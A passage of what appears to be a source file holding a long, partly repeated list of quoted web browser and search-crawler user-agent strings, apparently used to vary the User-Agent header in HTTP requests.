'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyb<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
